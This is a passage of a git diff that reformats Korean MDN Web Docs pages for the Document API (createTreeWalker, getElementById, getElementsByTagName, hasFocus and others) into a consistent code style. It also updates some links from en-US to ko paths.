-    | `NodeFilter.SHOW_TEXT`                                                                                                                                                                                                                                                                                    | `4`                              | Shows {{domxref("Text")}} nodes.                                                                                                                                                                                                                                                                                                                                                                                   |
+  - | : [`NodeFilter`](http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter)의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 `unsigned long` 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 `SHOW_ALL` 상수를 나타내는 `0xFFFFFFFF`이다. | 상수                             | 숫자 값                                                                                                                                                                                                                                                                                                                                                                                   | 설명 |
+    | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---- |
+    | `NodeFilter.SHOW_ALL`                                                                                                                                                                                                                                                                                     | `-1` (`unsigned long의 최대 값`) | Shows all nodes.                                                                                                                                                                                                                                                                                                                                                                          |
+    | `NodeFilter.SHOW_ATTRIBUTE` {{deprecated_inline}}                                                                                                                                                                                                                                                         | `2`                              | Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree. |
+    | `NodeFilter.SHOW_CDATA_SECTION` {{deprecated_inline}}                                                                                                                                                                                                                                                     | `8`                              | Shows {{domxref("CDATASection")}} nodes.                                                                                                                                                                                                                                                                                                                                                  |
+    | `NodeFilter.SHOW_COMMENT`                                                                                                                                                                                                                                                                                 | `128`                            | Shows {{domxref("Comment")}} nodes.                                                                                                                                                                                                                                                                                                                                                       |
+    | `NodeFilter.SHOW_DOCUMENT`                                                                                                                                                                                                                                                                                | `256`                            | Shows {{domxref("Document")}} nodes.                                                                                                                                                                                                                                                                                                                                                      |
+    | `NodeFilter.SHOW_DOCUMENT_FRAGMENT`                                                                                                                                                                                                                                                                       | `1024`                           | Shows {{domxref("DocumentFragment")}} nodes.                                                                                                                                                                                                                                                                                                                                              |
+    | `NodeFilter.SHOW_DOCUMENT_TYPE`                                                                                                                                                                                                                                                                           | `512`                            | Shows {{domxref("DocumentType")}} nodes.                                                                                                                                                                                                                                                                                                                                                  |
+    | `NodeFilter.SHOW_ELEMENT`                                                                                                                                                                                                                                                                                 | `1`                              | Shows {{domxref("Element")}} nodes.                                                                                                                                                                                                                                                                                                                                                       |
+    | `NodeFilter.SHOW_ENTITY` {{deprecated_inline}}                                                                                                                                                                                                                                                            | `32`                             | Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.          |
+    | `NodeFilter.SHOW_ENTITY_REFERENCE` {{deprecated_inline}}                                                                                                                                                                                                                                                  | `16`                             | Shows {{domxref("EntityReference")}} nodes.                                                                                                                                                                                                                                                                                                                                               |
+    | `NodeFilter.SHOW_NOTATION` {{deprecated_inline}}                                                                                                                                                                                                                                                          | `2048`                           | Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.     |
+    | `NodeFilter.SHOW_PROCESSING_INSTRUCTION`                                                                                                                                                                                                                                                                  | `64`                             | Shows {{domxref("ProcessingInstruction")}} nodes.                                                                                                                                                                                                                                                                                                                                         |
+    | `NodeFilter.SHOW_TEXT`                                                                                                                                                                                                                                                                                    | `4`                              | Shows {{domxref("Text")}} nodes.                                                                                                                                                                                                                                                                                                                                                          |
 - `filter` {{optional_inline}}
   - : 선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 `whatToShow` 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 `acceptNode` 메소드를 가진 객체이다.
 - `entityReferenceExpansion` {{optional_inline}} {{deprecated_inline}}
@@ -49,13 +50,17 @@ document.createTreeWalker(root, whatToShow[, filter[, entityReferenceExpansion]]
 var treeWalker = document.createTreeWalker(
   document.body,
   NodeFilter.SHOW_ELEMENT,
-  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
-  false
+  {
+    acceptNode: function (node) {
+      return NodeFilter.FILTER_ACCEPT;
+    },
+  },
+  false,
 );
 
 var nodeList = [];
 
-while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+while (treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
 ```
 
 ## 명세
diff --git a/files/ko/web/api/document/cut_event/index.md b/files/ko/web/api/document/cut_event/index.md
index 3f3d7b5b2247ea..f3ff24836d69b6 100644
--- a/files/ko/web/api/document/cut_event/index.md
+++ b/files/ko/web/api/document/cut_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'Document: cut 이벤트'
+title: "Document: cut 이벤트"
 slug: Web/API/Document/cut_event
 ---
+
 {{APIRef}}
 
 **`cut`** 이벤트는 사용자가 브라우저의 사용자 인터페이스를 통해 복사했을 때 발생합니다.
@@ -32,8 +33,8 @@ slug: Web/API/Document/cut_event
 ## 예제
 
 ```js
-document.addEventListener('cut', (event) => {
-    console.log('잘라내기 동작 실행')
+document.addEventListener("cut", (event) => {
+  console.log("잘라내기 동작 실행");
 });
 ```
 
diff --git a/files/ko/web/api/document/doctype/index.md b/files/ko/web/api/document/doctype/index.md
index 8beae5fa00aafa..f6356080e76ce6 100644
--- a/files/ko/web/api/document/doctype/index.md
+++ b/files/ko/web/api/document/doctype/index.md
@@ -21,10 +21,17 @@ doctype = document.doctype;
 var doctypeObj = document.doctype;
 
 console.log(
-  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
-  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
-  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
-  "doctypeObj.systemId: "       + doctypeObj.systemId
+  "doctypeObj.name: " +
+    doctypeObj.name +
+    "\n" +
+    "doctypeObj.internalSubset: " +
+    doctypeObj.internalSubset +
+    "\n" +
+    "doctypeObj.publicId: " +
+    doctypeObj.publicId +
+    "\n" +
+    "doctypeObj.systemId: " +
+    doctypeObj.systemId,
 );
 ```
 
diff --git a/files/ko/web/api/document/document/index.md b/files/ko/web/api/document/document/index.md
index 6fd443bd167ef2..dd8bd92cd65ea8 100644
--- a/files/ko/web/api/document/document/index.md
+++ b/files/ko/web/api/document/document/index.md
@@ -2,6 +2,7 @@
 title: Document()
 slug: Web/API/Document/Document
 ---
+
 {{APIRef}}
 
 **`Document`** 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.
@@ -9,7 +10,7 @@ slug: Web/API/Document/Document
 ## 구문
 
 ```js
-new Document()
+new Document();
 ```
 
 ## 명세
diff --git a/files/ko/web/api/document/documentelement/index.md b/files/ko/web/api/document/documentelement/index.md
index 5a3d41339081d0..a17893ae8b84a1 100644
--- a/files/ko/web/api/document/documentelement/index.md
+++ b/files/ko/web/api/document/documentelement/index.md
@@ -2,6 +2,7 @@
 title: Document.documentElement
 slug: Web/API/Document/documentElement
 ---
+
 {{ApiRef("DOM")}}
 
 **`Document.documentElement`** 읽기 전용 속성은 [문서](/ko/docs/Web/API/Document)의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.
@@ -9,7 +10,7 @@ slug: Web/API/Document/documentElement
 ## 구문
 
 ```js
-const element = document.documentElement
+const element = document.documentElement;
 ```
 
 ## 예제
@@ -21,7 +22,7 @@ const firstTier = rootElement.childNodes;
 // such as <head> and <body>
 
 for (const child of firstTier) {
-   // do something with each direct child of the root element
+  // do something with each direct child of the root element
 }
 ```
 
diff --git a/files/ko/web/api/document/documenturi/index.md b/files/ko/web/api/document/documenturi/index.md
index 2482a3e349e4a9..af91e484087447 100644
--- a/files/ko/web/api/document/documenturi/index.md
+++ b/files/ko/web/api/document/documenturi/index.md
@@ -2,6 +2,7 @@
 title: Document.documentURI
 slug: Web/API/Document/documentURI
 ---
+
 {{ApiRef("DOM")}}
 
 {{domxref("Document")}} 인터페이스의 **`documentURI`** 속성은 document location 을 string 으로 반환합니다.
diff --git a/files/ko/web/api/document/domain/index.md b/files/ko/web/api/document/domain/index.md
index 1a14741e547a50..880e60955524af 100644
--- a/files/ko/web/api/document/domain/index.md
+++ b/files/ko/web/api/document/domain/index.md
@@ -12,8 +12,8 @@ slug: Web/API/Document/domain
 ## 구문
 
 ```js
-const domainString = document.domain
-document.domain = domainString
+const domainString = document.domain;
+document.domain = domainString;
 ```
 
 ### 값
@@ -33,7 +33,7 @@ document.domain = domainString
 
 ### 도메인 가져오기
 
-`http://developer.mozilla.org/en-US/docs/Web` 주소에서, 다음 코드는 `currentDomain` 변수에 "`developer.mozilla.org`" 문자열을 할당합니다.
+`http://developer.mozilla.org/ko/docs/Web` 주소에서, 다음 코드는 `currentDomain` 변수에 "`developer.mozilla.org`" 문자열을 할당합니다.
 
 ```js
 const currentDomain = document.domain;
diff --git a/files/ko/web/api/document/embeds/index.md b/files/ko/web/api/document/embeds/index.md
index 36ef4089239a85..36cc37d6c7abe3 100644
--- a/files/ko/web/api/document/embeds/index.md
+++ b/files/ko/web/api/document/embeds/index.md
@@ -12,7 +12,7 @@ slug: Web/API/Document/embeds
 ### Syntax
 
 ```js
-nodeList = document.embeds
+nodeList = document.embeds;
 ```
 
 ### 명세서
diff --git a/files/ko/web/api/document/execcommand/index.md b/files/ko/web/api/document/execcommand/index.md
index 8cbcc18b0ee4d9..e8f05e1409b687 100644
--- a/files/ko/web/api/document/execcommand/index.md
+++ b/files/ko/web/api/document/execcommand/index.md
@@ -2,6 +2,7 @@
 title: Document.execCommand()
 slug: Web/API/Document/execCommand
 ---
+
 {{ApiRef("DOM")}}{{deprecated_header}}
 
 HTML 문서가 `designMode`로 전환되면 문서에서 `execCommand` 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(_볼드, 이탤릭 등_)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. `contentEditable`을 사용할 때에 `execCommand()`를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.
@@ -9,7 +10,7 @@ HTML 문서가 `designMode`로 전환되면 문서에서 `execCommand` 메서드
 ## 문법
 
 ```js
-bool = document.execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+bool = document.execCommand(aCommandName, aShowDefaultUI, aValueArgument);
 ```
 
 ### 반환값
diff --git a/files/ko/web/api/document/forms/index.md b/files/ko/web/api/document/forms/index.md
index 1c814b727f6db8..1bb674bc09f7b8 100644
--- a/files/ko/web/api/document/forms/index.md
+++ b/files/ko/web/api/document/forms/index.md
@@ -16,28 +16,34 @@ collection = document.forms;
 ## Example: Getting form information
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="en">
-
-<head>
-<title>document.forms example</title>
-</head>
-
-<body>
-
-<form id="robby">
-  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
-</form>
-
-<form id="dave">
-  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
-</form>
-
-<form id="paul">
-  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
-</form>
-
-</body>
+  <head>
+    <title>document.forms example</title>
+  </head>
+
+  <body>
+    <form id="robby">
+      <input
+        type="button"
+        onclick="alert(document.forms[0].id);"
+        value="robby's form" />
+    </form>
+
+    <form id="dave">
+      <input
+        type="button"
+        onclick="alert(document.forms[1].id);"
+        value="dave's form" />
+    </form>
+
+    <form id="paul">
+      <input
+        type="button"
+        onclick="alert(document.forms[2].id);"
+        value="paul's form" />
+    </form>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/document/getelementbyid/index.md b/files/ko/web/api/document/getelementbyid/index.md
index 842e97708eb9ef..3624f69f764539 100644
--- a/files/ko/web/api/document/getelementbyid/index.md
+++ b/files/ko/web/api/document/getelementbyid/index.md
@@ -30,14 +30,14 @@ document.getElementById(id);
 
 ```html
 <html>
-<head>
-  <title>getElementById 예제</title>
-</head>
-<body>
-  <p id="para">어떤 글</p>
-  <button onclick="changeColor('blue');">blue</button>
-  <button onclick="changeColor('red');">red</button>
-</body>
+  <head>
+    <title>getElementById 예제</title>
+  </head>
+  <body>
+    <p id="para">어떤 글</p>
+    <button onclick="changeColor('blue');">blue</button>
+    <button onclick="changeColor('red');">red</button>
+  </body>
 </html>
 ```
 
@@ -45,7 +45,7 @@ document.getElementById(id);
 
 ```js
 function changeColor(newColor) {
-  var elem = document.getElementById('para');
+  var elem = document.getElementById("para");
   elem.style.color = newColor;
 }
 ```
@@ -65,24 +65,24 @@ function changeColor(newColor) {
 ```html
 <!doctype html>
 <html>
-<head>
-    <meta charset="UTF-8">
+  <head>
+    <meta charset="UTF-8" />
     <title>Document</title>
-</head>
-<body>
+  </head>
+  <body>
     <div id="parent-id">
-        <p>hello word1</p>
-        <p id="test1">hello word2</p>
-        <p>hello word3</p>
-        <p>hello word4</p>
+      <p>hello word1</p>
+      <p id="test1">hello word2</p>
+      <p>hello word3</p>
+      <p>hello word4</p>
     </div>
     <script>
-        var parentDOM = document.getElementById('parent-id');
-        var test1=parentDOM.getElementById('test1');
-        //throw error
-        //Uncaught TypeError: parentDOM.getElementById is not a function
+      var parentDOM = document.getElementById("parent-id");
+      var test1 = parentDOM.getElementById("test1");
+      //throw error
+      //Uncaught TypeError: parentDOM.getElementById is not a function
     </script>
-</body>
+  </body>
 </html>
 ```
 
@@ -91,9 +91,9 @@ function changeColor(newColor) {
 **문서에 없는 요소**는 `getElementById()`가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 `getElementById()`로 접근할 수 있습니다.
 
 ```js
-var element = document.createElement('div');
-element.id = 'testqq';
-var el = document.getElementById('testqq'); // el이 null!
+var element = document.createElement("div");
+element.id = "testqq";
+var el = document.getElementById("testqq"); // el이 null!
 ```
 
 **HTML이 아닌 문서**. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. [XHTML](/ko/docs/XHTML), [XUL](/ko/docs/XUL) 등 자주 쓰이는 문서의 경우 `id` 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 `null`을 반환합니다.
diff --git a/files/ko/web/api/document/getelementsbytagname/index.md b/files/ko/web/api/document/getelementsbytagname/index.md
index fd71e2fdc64399..b3928a41f7412e 100644
--- a/files/ko/web/api/document/getelementsbytagname/index.md
+++ b/files/ko/web/api/document/getelementsbytagname/index.md
@@ -24,61 +24,62 @@ var elements = document.getElementsByTagName(name);
 버튼 클릭은 `getElementsByTagName()` 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="en">
-<head>
-  <meta charset="UTF-8" />
-  <title>getElementsByTagName example</title>
-  <script>
-    function getAllParaElems() {
-      var allParas = document.getElementsByTagName('p');
-      var num = allParas.length;
-      alert('There are ' + num + ' paragraph in this document');
-    }
-
-    function div1ParaElems() {
-      var div1 = document.getElementById('div1');
-      var div1Paras = div1.getElementsByTagName('p');
-      var num = div1Paras.length;
-      alert('There are ' + num + ' paragraph in #div1');
-    }
-
-    function div2ParaElems() {
-      var div2 = document.getElementById('div2');
-      var div2Paras = div2.getElementsByTagName('p');
-      var num = div2Paras.length;
-      alert('There are ' + num + ' paragraph in #div2');
-    }
-  </script>
-</head>
-<body style="border: solid green 3px">
-  <p>Some outer text</p>
-  <p>Some outer text</p>
-
-  <div id="div1" style="border: solid blue 3px">
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-
-    <div id="div2" style="border: solid red 3px">
-      <p>Some div2 text</p>
-      <p>Some div2 text</p>
+  <head>
+    <meta charset="UTF-8" />
+    <title>getElementsByTagName example</title>
+    <script>
+      function getAllParaElems() {
+        var allParas = document.getElementsByTagName("p");
+        var num = allParas.length;
+        alert("There are " + num + " paragraph in this document");
+      }
+
+      function div1ParaElems() {
+        var div1 = document.getElementById("div1");
+        var div1Paras = div1.getElementsByTagName("p");
+        var num = div1Paras.length;
+        alert("There are " + num + " paragraph in #div1");
+      }
+
+      function div2ParaElems() {
+        var div2 = document.getElementById("div2");
+        var div2Paras = div2.getElementsByTagName("p");
+        var num = div2Paras.length;
+        alert("There are " + num + " paragraph in #div2");
+      }
+    </script>
+  </head>
+  <body style="border: solid green 3px">
+    <p>Some outer text</p>
+    <p>Some outer text</p>
+
+    <div id="div1" style="border: solid blue 3px">
+      <p>Some div1 text</p>
+      <p>Some div1 text</p>
+      <p>Some div1 text</p>
+
+      <div id="div2" style="border: solid red 3px">
+        <p>Some div2 text</p>
+        <p>Some div2 text</p>
+      </div>
     </div>
-  </div>
 
-  <p>Some outer text</p>
-  <p>Some outer text</p>
+    <p>Some outer text</p>
+    <p>Some outer text</p>
 
-  <button onclick="getAllParaElems();">
-    show all p elements in document</button><br />
+    <button onclick="getAllParaElems();">show all p elements in document</button
+    ><br />
 
-  <button onclick="div1ParaElems();">
-    show all p elements in div1 element</button><br />
+    <button onclick="div1ParaElems();">
+      show all p elements in div1 element</button
+    ><br />
 
-  <button onclick="div2ParaElems();">
-    show all p elements in div2 element</button>
-
-</body>
+    <button onclick="div2ParaElems();">
+      show all p elements in div2 element
+    </button>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.md b/files/ko/web/api/document/getelementsbytagnamens/index.md
index 58fa766eab71cf..59dd98f30d629a 100644
--- a/files/ko/web/api/document/getelementsbytagnamens/index.md
+++ b/files/ko/web/api/document/getelementsbytagnamens/index.md
@@ -2,6 +2,7 @@
 title: Document.getElementsByTagNameNS()
 slug: Web/API/Document/getElementsByTagNameNS
 ---
+
 {{APIRef("DOM")}}
 
 주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.
@@ -9,7 +10,7 @@ slug: Web/API/Document/getElementsByTagNameNS
 ## 구문
 
 ```js
-elements = document.getElementsByTagNameNS(namespace, name)
+elements = document.getElementsByTagNameNS(namespace, name);
 ```
 
 - _elements_ 는 트리에 나타난 순서로 발견된 살아있는 {{DOMxRef("NodeList")}} 입니다(하지만 아래를 확인하세요).
@@ -30,74 +31,76 @@ elements = document.getElementsByTagNameNS(namespace, name)
 
 ```html
 <html xmlns="http://www.w3.org/1999/xhtml">
-
-<head>
-<title>getElementsByTagNameNS example</title>
-
-<script type="text/javascript">
-
-function getAllParaElems()
-{
-  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
-
-  var num = allParas.length;
-
-  alert("There are " + num + " &lt;p&gt; elements in this document");
-}
-
-
-function div1ParaElems()
-{
-  var div1 = document.getElementById("div1")
-  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
-
-  var num = div1Paras.length;
-
-  alert("There are " + num + " &lt;p&gt; elements in div1 element");
-}
-
-
-function div2ParaElems()
-{
-  var div2 = document.getElementById("div2")
-  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
-
-  var num = div2Paras.length;
-
-  alert("There are " + num + " &lt;p&gt; elements in div2 element");
-}
-
-</script>
-</head>
-
-<body style="border: solid green 3px">
-<p>Some outer text</p>
-<p>Some outer text</p>
-
-  <div id="div1" style="border: solid blue 3px">
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-    <p>Some div1 text</p>
-
-    <div id="div2" style="border: solid red 3px">
-    <p>Some div2 text</p>
-    <p>Some div2 text</p>
+  <head>
+    <title>getElementsByTagNameNS example</title>
+
+    <script type="text/javascript">
+      function getAllParaElems() {
+        var allParas = document.getElementsByTagNameNS(
+          "http://www.w3.org/1999/xhtml",
+          "p",
+        );
+
+        var num = allParas.length;
+
+        alert("There are " + num + " &lt;p&gt; elements in this document");
+      }
+
+      function div1ParaElems() {
+        var div1 = document.getElementById("div1");
+        var div1Paras = div1.getElementsByTagNameNS(
+          "http://www.w3.org/1999/xhtml",
+          "p",
+        );
+
+        var num = div1Paras.length;
+
+        alert("There are " + num + " &lt;p&gt; elements in div1 element");
+      }
+
+      function div2ParaElems() {
+        var div2 = document.getElementById("div2");
+        var div2Paras = div2.getElementsByTagNameNS(
+          "http://www.w3.org/1999/xhtml",
+          "p",
+        );
+
+        var num = div2Paras.length;
+
+        alert("There are " + num + " &lt;p&gt; elements in div2 element");
+      }
+    </script>
+  </head>
+
+  <body style="border: solid green 3px">
+    <p>Some outer text</p>
+    <p>Some outer text</p>
+
+    <div id="div1" style="border: solid blue 3px">
+      <p>Some div1 text</p>
+      <p>Some div1 text</p>
+      <p>Some div1 text</p>
+
+      <div id="div2" style="border: solid red 3px">
+        <p>Some div2 text</p>
+        <p>Some div2 text</p>
+      </div>
     </div>
-  </div>
-
-<p>Some outer text</p>
-<p>Some outer text</p>
 
-<button onclick="getAllParaElems();">
- show all p elements in document</button><br />
+    <p>Some outer text</p>
+    <p>Some outer text</p>
 
-<button onclick="div1ParaElems();">
- show all p elements in div1 element</button><br />
+    <button onclick="getAllParaElems();">show all p elements in document</button
+    ><br />
 
-<button onclick="div2ParaElems();">
- show all p elements in div2 element</button>
+    <button onclick="div1ParaElems();">
+      show all p elements in div1 element</button
+    ><br />
 
-</body>
+    <button onclick="div2ParaElems();">
+      show all p elements in div2 element
+    </button>
+  </body>
 </html>
 ```
 
@@ -106,21 +109,27 @@ function div2ParaElems()
 원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 [이 래퍼 클래스같은](http://www.davidflanagan.com/javascript5/display.php?n=21-10&f=21/10.js) XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)
 
 ```js
-function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
- if (!doc) {
-  doc = document;
- }
- if (!context) {
-  context = doc;
- }
-
- var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
-
-        var a = [];
-        for(var i = 0; i < result.snapshotLength; i++) {
-            a[i] = result.snapshotItem(i);
-        }
-        return a;
+function getElementsByTagNameNSWrapper(ns, elName, doc, context) {
+  if (!doc) {
+    doc = document;
+  }
+  if (!context) {
+    context = doc;
+  }
+
+  var result = doc.evaluate(
+    '//*[local-name()="' + elName + '" and namespace-uri() = "' + ns + '"]',
+    context,
+    null,
+    XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,
+    null,
+  );
+
+  var a = [];
+  for (var i = 0; i < result.snapshotLength; i++) {
+    a[i] = result.snapshotItem(i);
+  }
+  return a;
 }
 ```
 
diff --git a/files/ko/web/api/document/hasfocus/index.md b/files/ko/web/api/document/hasfocus/index.md
index 935c1f78373e1f..e2278b9a219ffd 100644
--- a/files/ko/web/api/document/hasfocus/index.md
+++ b/files/ko/web/api/document/hasfocus/index.md
@@ -22,48 +22,48 @@ focused = document.hasFocus();
 ## 예제
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="en">
-<head>
-<meta charset="UTF-8" />
-<title>TEST</title>
-<style>
-#message { font-weight: bold; }
-</style>
-
-<script>
-
-setInterval( CheckPageFocus, 200 );
-
-function CheckPageFocus() {
-  var info = document.getElementById("message");
-
-  if ( document.hasFocus() ) {
-    info.innerHTML = "The document has the focus.";
-  } else {
-    info.innerHTML = "The document doesn't have the focus.";
-  }
-}
-
-function OpenWindow() {
-  window.open (
-    "http://developer.mozilla.org/",
-    "mozdev",
-    width=640,
-    height=300,
-    left=150,
-    top=260
-  );
-}
-
-</script>
-</head>
-
-<body>
-  <h1>JavaScript hasFocus example</h1>
-  <div id="message">Waiting for user action</div>
-  <div><button onclick="OpenWindow()">Open a new window</button></div>
-</body>
+  <head>
+    <meta charset="UTF-8" />
+    <title>TEST</title>
+    <style>
+      #message {
+        font-weight: bold;
+      }
+    </style>
+
+    <script>
+      setInterval(CheckPageFocus, 200);
+
+      function CheckPageFocus() {
+        var info = document.getElementById("message");
+
+        if (document.hasFocus()) {
+          info.innerHTML = "The document has the focus.";
+        } else {
+          info.innerHTML = "The document doesn't have the focus.";
+        }
+      }
+
+      function OpenWindow() {
+        window.open(
+          "http://developer.mozilla.org/",
+          "mozdev",
+          (width = 640),
+          (height = 300),
+          (left = 150),
+          (top = 260),
+        );
+      }
+    </script>
+  </head>
+
+  <body>
+    <h1>JavaScript hasFocus example</h1>
+    <div id="message">Waiting for user action</div>
+    <div><button onclick="OpenWindow()">Open a new window</button></div>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/document/hidden/index.md b/files/ko/web/api/document/hidden/index.md
index 744447daa58b80..fe7439a3279233 100644
--- a/files/ko/web/api/document/hidden/index.md
+++ b/files/ko/web/api/document/hidden/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Document/hidden
 ## 예제
 
 ```js
-document.addEventListener("visibilitychange", function() {
+document.addEventListener("visibilitychange", function () {
   console.log(document.hidden);
   // 숨김 여부가 변했을 때의 행동
 });
diff --git a/files/ko/web/api/document/images/index.md b/files/ko/web/api/document/images/index.md
index 59f267609e3efe..e046b55288001b 100644
--- a/files/ko/web/api/document/images/index.md
+++ b/files/ko/web/api/document/images/index.md
@@ -2,6 +2,7 @@
 title: Document.images
 slug: Web/API/Document/images
 ---
+
 {{APIRef("DOM")}}
 
 `document.images` 는 현재 HTML document 내부의 [images](/ko/docs/DOM/Image) collection을 반환합니다.
@@ -17,10 +18,10 @@ var htmlCollection = document.images;
 ```js
 var ilist = document.images;
 
-for(var i = 0; i < ilist.length; i++) {
-    if(ilist[i].src == "banner.gif") {
-        // found the banner
-    }
+for (var i = 0; i < ilist.length; i++) {
+  if (ilist[i].src == "banner.gif") {
+    // found the banner
+  }
 }
 ```
 
diff --git a/files/ko/web/api/document/implementation/index.md b/files/ko/web/api/document/implementation/index.md
index e9c9be1eb200d0..5e7efd0b5ed0fb 100644
--- a/files/ko/web/api/document/implementation/index.md
+++ b/files/ko/web/api/document/implementation/index.md
@@ -18,9 +18,9 @@ DOMImpObj = document.implementation;
 ```js
 var modName = "HTML";
 var modVer = "2.0";
-var conformTest = document.implementation.hasFeature( modName, modVer );
+var conformTest = document.implementation.hasFeature(modName, modVer);
 
-alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+alert("DOM " + modName + " " + modVer + " supported?: " + conformTest);
 
 // alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
 ```
diff --git a/files/ko/web/api/document/index.md b/files/ko/web/api/document/index.md
index 780e877148bf04..32c415434db4eb 100644
--- a/files/ko/web/api/document/index.md
+++ b/files/ko/web/api/document/index.md
@@ -2,6 +2,7 @@
 title: Document
 slug: Web/API/Document
 ---
+
 {{APIRef("DOM")}}
 
 **`Document`** 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠([DOM 트리](/ko/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core))의 진입점 역할을 수행합니다. DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 [여러 다른](/ko/docs/Web/HTML/Element) 요소를 포함합니다. `Document`는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.
@@ -253,7 +254,7 @@ _`Document`는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스
 `Document` 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.
 
 - {{domxref("document.createExpression()")}}
-  - : 나중에 (여러 번) 평가할 수 있도록 [`XPathExpression`](/en-US/docs/XPathExpression)을 컴파일합니다.
+  - : 나중에 (여러 번) 평가할 수 있도록 [`XPathExpression`](/ko/docs/XPathExpression)을 컴파일합니다.
 - {{domxref("document.createNSResolver()")}}
   - : {{domxref("XPathNSResolver")}} 객체를 생성합니다.
 - {{domxref("document.evaluate()")}}
diff --git a/files/ko/web/api/document/links/index.md b/files/ko/web/api/document/links/index.md
index 7ada45997e9f13..7aed91422452c9 100644
--- a/files/ko/web/api/document/links/index.md
+++ b/files/ko/web/api/document/links/index.md
@@ -10,14 +10,14 @@ slug: Web/API/Document/links
 ## Syntax
 
 ```js
-nodeList = document.links
+nodeList = document.links;
 ```
 
 ## Example
 
 ```js
 var links = document.links;
-for(var i = 0; i < links.length; i++) {
+for (var i = 0; i < links.length; i++) {
   var linkHref = document.createTextNode(links[i].href);
   var lineBreak = document.createElement("br");
   document.body.appendChild(linkHref);
diff --git a/files/ko/web/api/document/location/index.md b/files/ko/web/api/document/location/index.md
